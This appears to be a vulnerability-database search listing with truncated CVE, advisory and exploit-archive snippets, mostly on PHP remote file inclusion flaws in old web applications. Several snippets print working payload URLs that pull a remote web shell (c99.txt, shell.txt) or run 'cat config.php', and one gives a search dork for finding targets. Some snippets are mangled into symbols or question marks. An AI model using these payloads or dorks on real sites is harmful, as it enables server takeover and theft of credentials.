CVE-2008-0351: Improper Authentication

admin/config.php in Evilsentinel 1.0.9 and earlier allows remote attackers to bypass the CAPTCHA test by omitting the essecuritycaptcha parameter and not invoking captcha.php...

Kontakt Formular 1.4 Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ======================================================== Kontakt Formular 1.4 Remote File Inclusion Vulnerability ======================================================== ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + + +...

phpFaber URLInn Config.PHP远程文件包含漏洞

phpFaber URLInn是一款基于PHP的WEB应用程序。 phpFaber URLInn不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB权限执行任意PHP代码。 问题是由于'Config.PHP'脚本对用户提交的'dirws'参数缺少过滤，指定远程服务器上的任意文件作为包含参数，可导致以WEB权限执行任意PHP代码。 phpFaber URLInn 2.0.5 目前没有详细解决方案提供： http://www.phpfaber.com/i/products/urlinn/...

Remote file inclusion

PHP remote file inclusion vulnerability in urlinnincludes/config.php in phpFaber URLInn 2.0.5 allows remote attackers to execute arbitrary PHP code via a URL in the dirws parameter...

CVE-2007-5754

CVE-2007-5754 affects phpFaber URLInn 2.0.5, where a PHP remote file inclusion vulnerability exists in urlinn_includes/config.php. The issue allows an attacker to supply a URL to the dir_ws parameter to execute arbitrary PHP code on the server. This is evidenced by references to exploit-DB and vu...

CVE-2007-5754: Improper Control of Generation of Code

PHP remote file inclusion vulnerability in urlinnincludes/config.php in phpFaber URLInn 2.0.5 allows remote attackers to execute arbitrary PHP code via a URL in the dirws parameter...

CaupoShop Pro 2.x - 'action' Remote File Inclusion

ork:allinurl:index.php?action= basket sid vuln:index.php?action= examples: http://www.xxx.com/shop/index.php?action=http://adek.org/o.gif?&cmd=cat%20config.php author:[email protected] site:http://mozi.rootmybox.org support:http://darkc0de.com & whoami milw0rm.com 2007-10-28...

litespeed-disclose.txt

| | |--.-----.| .-----.' |.---.-.----.-----.--| | | | | | -|| -- | -| || | | -| | || |||||/||| |.|||| TheDefaced.org TheDefaced Security Team Presents An 0-day. LiteSpeed Remote Mime Type Injection Discovered by:Tr3mbl3r Shouts to his kitty kats and tacos. Product: LiteSpeed/Discovered in ==3.2.3...

CVE-2002-2298: Improper Control of Generation of Code

PHP remote file inclusion vulnerability in config.php in Thatware 0.3 through 0.5.3 allows remote attackers to execute arbitrary PHP code via the rootpath parameter...

openSUSE 10 Security Update : moodle (moodle-3959)

This update fixes the following issues : - possible remote file inclusion CVE-2007-1429 - XSS injection in SCORM 1.2 reports - Fixed XSS in login block Additionally changes : - Fixed visibility of site blogs - moodle-config.php is now located in /etc/moodle/ - added safemode and session.savehandl...

CVE-2007-5313

CVE-2007-5313 affects Picturesolution 2.1 and earlier. It is a PHP remote file inclusion vulnerability in install/config.php that allows an attacker to execute arbitrary PHP code by supplying a URL in the path parameter. Exploitation details beyond this description are not provided in the connect...

CVE-2007-5313: Improper Control of Generation of Code

PHP remote file inclusion vulnerability in install/config.php in Picturesolution 2.1 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the path parameter...

Picturesolution Config.PHP远程文件包含漏洞

Picturesolution是一款基于PHP的WEB应用程序。 Picturesolution不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是由于'Config.PHP'脚本对用户提交的'path'参数缺少过滤，指定远程服务器上的任意文件作为包含对象，可导致以以WEB权限执行任意命令。 Script-solution.de Picturesolution 2.1 目前没有解决方案提供： http://www.script-solution.de/ger-products-1.html...

Picturesolution <= v2.1 (config.php path) Remote File Inclusion Vuln

No description provided by source. Picturesolution = v2.1 config.php path Remote File Inclusion Vulnerabilities Found By : Mogatil , http://www.hackteach.org/cc/ Posted By : Cold z3ro , http://www.hackteach.org/cc/ Exploit : /install/config.php?path=http://membres.lycos.fr/prirato1/c99.txt? Examp...

Picturesolution 2.1 - config.php?path Remote File Inclusion

Picturesolution 2.1 - config.php?path Remote File Inclusion Picturesolution = v2.1 config.php path Remote File Inclusion Vulnerabilities Found By : Mogatil , http://www.hackteach.org/cc/ Posted By : Cold z3ro , http://www.hackteach.org/cc/ Exploit :...

Picturesolution <= v2.1 (config.php path) Remote File Inclusion Vuln

Exploit for unknown platform in category web applications ==================================================================== Picturesolution = v2.1 config.php path Remote File Inclusion Vuln ==================================================================== Picturesolution = v2.1 config.php...

Chupix CMS 0.2.3 - 'repertoire' Remote File Inclusion

chupix 0.2.3 /admin/include/header.php RFI f0und by 0in contact: [email protected] Greetings to:Die-angel,Slim,Joker186,Kaja,Artysta,wojto111,reydex team:Our Dark-Coders team; --------------------------------------------------------------------------------------------------------------------...

xcart-rfi.txt

xCart Remote file inclusion Download script : http://www.x-cart.com// Discovered By : aLiiF a.k.a arif @debuteam 07/09/2007 HomePage : http://www.debuteam.net// Thx to : Debu Newbie Payment Yogac nyubi Rozi ^S0ng0ku^ Kuris Sonix Toxicity newbi3 R4yn4ld0 DisJocKey s3ng0k homeedition Holong...

squirrelcart-rfi.txt

Title : Squirrelcart config.php, line 13 - $siteisproot = "blablabla"; Exploit : squirrelcart//popupwindow.php?siteisproot=http://example.com/shell.txt? notes : registerglobals = off is needed it seems...

FrontAccounting 1.12 Build 31 Remote File Inclusion Vulnerability

No description provided by source. ?????????? ??????????????? ??????????????????? ??????????????????????? ?????????????????????????? ?????????????????????????????? ????????????????????????????????? ??????????????????????????????????? ?????????????????????????????????????...